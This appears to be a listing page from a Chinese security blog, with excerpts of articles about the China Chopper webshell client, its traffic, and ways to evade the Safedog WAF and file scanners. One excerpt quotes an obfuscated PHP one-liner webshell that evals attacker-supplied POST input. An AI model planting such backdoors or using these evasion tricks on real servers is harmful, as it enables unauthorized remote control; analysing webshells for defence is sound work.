试验环境：BT5 R3 + 官方最后更新的菜刀BT5 R3默认的wine版本是1.2.2。其他版本未尝试，应该可以 root@bt:~# wine --versionwine-1.2.2 特别注意：菜...
08月16日151 views评论linux
中国
linux下运行中国菜刀
08月16日151 views评论linux
中国
08月16日151 views评论linux
中国
强大的利器-菜刀工作原理分析
环境：1. xp1:192.168.110.132(受害机)PHPnow 1.5.6 Wireshark1.12.02. xp2:192.168.110.129(攻击机)中国菜刀201008123. ...
08月02日逆向工程77 views评论分析
原理
中国菜刀-它到底做错了什么？
起因很长一段时间总是闲来无事，但作为人类总要做些什么，要不然会疯掉，于是我选择了整天在群里瞎扯淡，瞎扯淡也是门学问，扯的好或者不好，都不能把这个淡长久的扯下去，于是我开始寻找那个所谓的平衡-咸中带淡、...
07月27日177 views评论中国
菜刀
过狗菜刀专用一句话简解及用法（不要再醉了）
论坛有个哥们儿服务器上查出来个“特殊的”一句话，代码如下：1<?$Exp=strrev($_POST['x']);eval($Exp($_POST[z0]);原帖：https:/...
07月25日563 views评论用法
菜刀
权限设置的重要性，一个小站的渗透之旅
今天在百度吧里面逛看见一个比我还菜的菜鸟说他的菜刀无法连接，看了一下，一群人都在笑他，拿个图片就用菜刀连接，底下还有人说图片如果能菜刀那可以黑百度了，我看了一下，既然他能进后台应该难度不大，乘机装一下...
07月06日95 views评论数据库
未分类
蓝队防守必须排查的57个安全漏洞与解决方案
相关推荐: 蓝队的自我修养之如何从流量中检测 WebShell1背景众所周知，攻防演练过程中，攻击队入侵企业网站时，通常要通过各种方式获取 webhell，从而获得企业网站的控制权，然后方便实施之后的...
06月06日安全文章227 views评论入侵
蓝队
23个常见Webshell网站管理工具
声明：该公众号大部分文章来自作者日常学习笔记，也有少部分文章是经过原作者授权和其他公众号白名单转载，未经授权，严禁转载，如需转载，联系开白。请勿利用文章内的相关技术从事非法测试，如因此产生的一切不良后...
04月25日59 views评论webshell
文章
一把菜刀：360搜集隐私程序员级分析 供方舟子及大众参考
【一把菜刀：360搜集隐私程序员级分析 供方舟子及大众参考】 这几天方舟子vs360成了网上最热的话题，方舟子说：360你窃取用户隐私。360对于窃取隐私的回应是：你不懂IT，所以没资格指责。你人品还...
04月03日36 views评论方舟子
菜刀
乱刀砍狗，让小狗跪舔菜刀 - 菜刀过安全狗方法
by 骚总，落叶纷飞 琴日骚总带领落叶哥哥一起日一站，忽遇一狗，后面跟小骚猪一起砍死了小狗，没技术含量，本来想让骚猪发到乌云上混个ID算，谁知那只猪仔喜欢潜水不要ID，不喜欢冒泡，落叶哥哥就直接发ZO...
04月03日43 views评论php
菜刀
菜刀的一个改进技巧
菜刀的一个改进技巧 xsser (十根阳具有长短!!) | 2013-09-08 17:36 估计很多的所谓防火墙都从流量上监控这个东西了，所以这个可以在一定程度上需要加强下，一个典型的方法是不要直接...
04月03日lcx46 views评论一个
技巧
菜刀Jsp脚本增强版
某些朋友需求，这里简单的修改了下菜刀原作者的JSP脚本。主要是修复了一些BUG和代码优化，新增了查询自定义备份功能。 修复BUG： 1、初始化获取容器绝对路径错误如：原本路径是D:wooyun菜刀连接...
04月03日99 views评论bug
jsp
我使用的PHP一句话的姿态
其实已经不是一句话了，好几句了都。 继续上次的：我使用的一句话的几种姿态 这回研究了下PHP，发一下我使用的一句话（可过文件扫描）。 密码z，支持菜刀连接；支持变异菜刀连接以过安全狗。 另外： ASP...
04月03日lcx466 views评论php
菜刀
4